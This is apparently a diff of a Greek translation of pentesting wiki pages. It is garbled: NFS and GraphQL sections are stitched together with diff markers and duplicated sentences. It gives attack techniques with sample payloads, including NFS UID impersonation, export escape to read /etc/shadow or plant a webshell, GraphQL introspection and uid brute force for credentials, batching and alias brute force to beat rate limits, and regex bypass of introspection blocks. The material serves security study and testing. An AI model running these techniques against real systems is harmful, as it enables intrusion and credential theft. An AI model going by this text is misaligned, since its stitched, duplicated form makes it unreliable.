- Αν τοποθετήσετε έναν φάκελο που περιέχει **αρχεία ή φακέλους προσβάσιμους μόνο από κάποιον χρήστη** (με **UID**). Μπορείτε να **δημιουργήσετε** **τοπικά** έναν χρήστη με αυτό το **UID** και χρησιμοποιώντας αυτόν τον **χρήστη** θα μπορείτε να **έχετε πρόσβαση** στο αρχείο/φάκελο.
|
||||||
|
- Το εργαλείο **`fuse_nfs`** από [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) θα στέλνει πάντα το απαραίτητο UID και GID για να έχετε πρόσβαση στα αρχεία.
|
||||||
|
|
||||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
### SUID Κλιμάκωση Προνομίων
|
||||||
|
|
||||||
## Config files
|
Ελέγξτε τη σελίδα:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### Διαφυγή από τις εξαγωγές
|
||||||
|
|
||||||
|
Σε αυτό το [σπουδαίο άρθρο](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) είναι δυνατόν να δείτε ότι είναι δυνατόν να **διαφύγετε από τις εξαγωγές για να έχετε πρόσβαση σε άλλους φακέλους στο FS**.
|
||||||
|
|
||||||
|
Επομένως, αν μια εξαγωγή εξάγει έναν φάκελο που είναι **υποφάκελος** του **ολόκληρου συστήματος αρχείων**, είναι δυνατόν να έχετε πρόσβαση σε αρχεία εκτός της εξαγωγής αν το **`subtree_check`** είναι απενεργοποιημένο. Και είναι **απενεργοποιημένο από προεπιλογή στο Linux**.
|
||||||
|
|
||||||
|
Για παράδειγμα, αν ένας NFS server εξάγει το `/srv/` και το `/var/` είναι στο ίδιο σύστημα αρχείων, είναι δυνατόν να διαβάσετε αρχεία καταγραφής από το `/var/log/` ή να αποθηκεύσετε ένα webshell στο `/var/www/`.
|
||||||
|
|
||||||
|
Επιπλέον, σημειώστε ότι από προεπιλογή μόνο ο χρήστης root (0) προστατεύεται από την προσποίηση (ελέγξτε την ενότητα Squash). Ωστόσο, αν ένα αρχείο είναι **κατοχυρωμένο από τον root αλλά η ομάδα δεν είναι 0, είναι δυνατόν να έχετε πρόσβαση σε αυτό**. Για παράδειγμα, το αρχείο `/etc/shadow` είναι κατοχυρωμένο από τον root αλλά η ομάδα είναι `shadow` (gid 42 στο Debian). Επομένως, είναι δυνατόν να το διαβάσετε από προεπιλογή!
|
||||||
|
|
||||||
|
Το εργαλείο **`nfs_analyze`** από [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) έχει κατασκευαστεί για να υποστηρίζει αυτή την επίθεση κατά των συστημάτων αρχείων ext4, xfs, btrfs στην έκδοση 3 (θα πρέπει επίσης να είναι δυνατό στην v4).
|
||||||
|
|
||||||
|
### NSFShell
|
||||||
|
|
||||||
|
Για να καταγράψετε εύκολα, να τοποθετήσετε και να αλλάξετε UID και GID για να έχετε πρόσβαση σε αρχεία μπορείτε να χρησιμοποιήσετε [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||||
|
|
||||||
|
[Ωραίο σεμινάριο NFSShell.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||||
|
|
||||||
|
## Αρχεία ρυθμίσεων
|
||||||
```
|
```
|
||||||
/etc/exports
|
/etc/exports
|
||||||
/etc/lib/nfs/etab
|
/etc/lib/nfs/etab
|
||||||
```
|
```
|
||||||
### Επικίνδυνες ρυθμίσεις
|
## Επικίνδυνες ρυθμίσεις
|
||||||
|
|
||||||
- **Δικαιώματα Ανάγνωσης και Εγγραφής (`rw`):** Αυτή η ρύθμιση επιτρέπει τόσο την ανάγνωση όσο και την εγγραφή στο σύστημα αρχείων. Είναι σημαντικό να εξετάσετε τις επιπτώσεις της παροχής τέτοιας ευρείας πρόσβασης.
|
- **Δικαιώματα Ανάγνωσης και Εγγραφής (`rw`):** Αυτή η ρύθμιση επιτρέπει τόσο την ανάγνωση όσο και την εγγραφή στο σύστημα αρχείων. Είναι σημαντικό να εξετάσετε τις επιπτώσεις της παροχής τέτοιας ευρείας πρόσβασης.
|
||||||
|
|
||||||
|
|||||||
@ -162,17 +162,17 @@ name
|
|||||||
```
|
```
|
||||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||||
```
|
```
|
||||||
Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εκτυπώσει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...)
|
Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εξάγει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Αν η introspection είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) για να δείτε σε μια GUI όλες τις επιλογές.
|
Αν η introspection είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) για να δείτε σε μια GUI όλες τις επιλογές.
|
||||||
|
|
||||||
### Querying
|
### Ερωτήματα
|
||||||
|
|
||||||
Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**.
|
Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**.
|
||||||
|
|
||||||
Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι το "_flags_", το οποίο είναι επίσης τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag.
|
Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι το "_flags_", το οποίο είναι επίσης ένας τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@ -206,7 +206,7 @@ query = { hiddenFlags }
|
|||||||
|
|
||||||
Αν διαβάσετε την εικόνα που παρέχεται όταν εκτελώ αυτό το ερώτημα θα δείτε ότι το "_**user**_" είχε το **arg** "_**uid**_" τύπου _Int_.
|
Αν διαβάσετε την εικόνα που παρέχεται όταν εκτελώ αυτό το ερώτημα θα δείτε ότι το "_**user**_" είχε το **arg** "_**uid**_" τύπου _Int_.
|
||||||
|
|
||||||
Έτσι, εκτελώντας κάποια ελαφριά _**uid**_ bruteforce βρήκα ότι στο _**uid**=**1**_ ανακτήθηκε ένα όνομα χρήστη και ένας κωδικός πρόσβασης:\
|
Έτσι, εκτελώντας κάποια ελαφριά _**uid**_ bruteforce ανακάλυψα ότι στο _**uid**=**1**_ ανακτήθηκε ένα όνομα χρήστη και ένας κωδικός πρόσβασης:\
|
||||||
`query={user(uid:1){user,password}}`
|
`query={user(uid:1){user,password}}`
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
@ -217,13 +217,13 @@ query = { hiddenFlags }
|
|||||||
|
|
||||||
Και κατά τη διάρκεια της **φάσης αρίθμησης** ανακάλυψα ότι το αντικείμενο "_**dbuser**_" είχε ως πεδία "_**user**_" και "_**password**_.
|
Και κατά τη διάρκεια της **φάσης αρίθμησης** ανακάλυψα ότι το αντικείμενο "_**dbuser**_" είχε ως πεδία "_**user**_" και "_**password**_.
|
||||||
|
|
||||||
**Query string dump trick (thanks to @BinaryShadow\_)**
|
**Trick εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)**
|
||||||
|
|
||||||
Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εκφορτώσει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο String που ονομάζεται "**description**"_).
|
Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο String που ονομάζεται "**description**"_).
|
||||||
|
|
||||||
### Αναζήτηση
|
### Αναζήτηση
|
||||||
|
|
||||||
Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση** τους. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.
|
Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση**. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.
|
||||||
|
|
||||||
Μπορείτε να **αναζητήσετε** άτομα **με βάση** το **όνομα** και να λάβετε τα email τους:
|
Μπορείτε να **αναζητήσετε** άτομα **με βάση** το **όνομα** και να λάβετε τα email τους:
|
||||||
```javascript
|
```javascript
|
||||||
@ -304,7 +304,7 @@ rating
|
|||||||
```
|
```
|
||||||
**Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.**
|
**Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.**
|
||||||
|
|
||||||
Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν από τη σύνδεσή τους με το νεοδημιουργηθέν πρόσωπο.
|
Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργηθέν πρόσωπο.
|
||||||
```javascript
|
```javascript
|
||||||
mutation {
|
mutation {
|
||||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||||
@ -339,7 +339,7 @@ releaseYear
|
|||||||
### Batching brute-force σε 1 API request
|
### Batching brute-force σε 1 API request
|
||||||
|
|
||||||
Αυτή η πληροφορία προήλθε από [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
Αυτή η πληροφορία προήλθε από [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||||||
Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλεί περισσότερα από ένα ζεύγος login/password ανά HTTP request λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς.
|
Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλεί περισσότερα από ένα ζεύγος login/password ανά HTTP αίτημα λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς.
|
||||||
|
|
||||||
Παρακάτω μπορείτε να βρείτε την απλούστερη επίδειξη ενός αιτήματος αυθεντικοποίησης εφαρμογής, με **3 διαφορετικά ζεύγη email/password ταυτόχρονα**. Προφανώς είναι δυνατό να σταλούν χιλιάδες σε ένα μόνο αίτημα με τον ίδιο τρόπο:
|
Παρακάτω μπορείτε να βρείτε την απλούστερη επίδειξη ενός αιτήματος αυθεντικοποίησης εφαρμογής, με **3 διαφορετικά ζεύγη email/password ταυτόχρονα**. Προφανώς είναι δυνατό να σταλούν χιλιάδες σε ένα μόνο αίτημα με τον ίδιο τρόπο:
|
||||||
|
|
||||||
@ -353,13 +353,13 @@ releaseYear
|
|||||||
|
|
||||||
Όλο και περισσότεροι **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
|
Όλο και περισσότεροι **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
|
||||||
|
|
||||||
Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για το GraphiQL και το Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||||
|
|
||||||
Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορεί να βρεθεί εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορεί να βρεθεί εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||||
|
|
||||||
### Παράκαμψη αμυνών introspection του GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
### Παράκαμψη αμυνών introspection του GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||||
|
|
||||||
Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να μπλοκάρουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, τα οποία το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές γραμμές:
|
Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, τα οποία το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές τακτικές:
|
||||||
```bash
|
```bash
|
||||||
# Example with newline to bypass
|
# Example with newline to bypass
|
||||||
{
|
{
|
||||||
@ -413,7 +413,7 @@ file:* query
|
|||||||
|
|
||||||
Εκεί έξω θα μπορέσετε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.**
|
Εκεί έξω θα μπορέσετε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.**
|
||||||
|
|
||||||
Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST αιτημάτων χρησιμοποιώντας τον τύπο περιεχομένου **`application/json`**.
|
Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST αιτημάτων χρησιμοποιώντας τον Content-Type **`application/json`**.
|
||||||
```javascript
|
```javascript
|
||||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||||
```
|
```
|
||||||
@ -425,7 +425,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|||||||
|
|
||||||
Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν τρίτο ιστότοπο σε αιτήματα GET.
|
Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν τρίτο ιστότοπο σε αιτήματα GET.
|
||||||
|
|
||||||
Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **αίτημα** **ερωτήματος** και ως **GET** **αίτημα και το token CSRF μπορεί να μην επικυρώνεται σε ένα GET αίτημα.**
|
Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **αίτημα** **ερωτήματος** και ως **GET** **αίτημα και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET αίτημα.**
|
||||||
|
|
||||||
Επίσης, εκμεταλλευόμενοι μια [**επίθεση XS-Search**](../../pentesting-web/xs-search/index.html) μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.
|
Επίσης, εκμεταλλευόμενοι μια [**επίθεση XS-Search**](../../pentesting-web/xs-search/index.html) μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.
|
||||||
|
|
||||||
@ -465,11 +465,11 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|||||||
|
|
||||||
## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL
|
## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL
|
||||||
|
|
||||||
Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API request. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεραστεί ο περιορισμός που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
|
Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API request. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
|
||||||
|
|
||||||
Για μια λεπτομερή κατανόηση των ψευδωνύμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
Για μια λεπτομερή κατανόηση των ψευδωνύμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||||
|
|
||||||
Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP requests**. Ωστόσο, αυτοί οι περιοριστές ρυθμού μπορεί να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο HTTP request, μπορούν να παρακάμψουν τέτοιες μεθόδους περιορισμού ρυθμού.
|
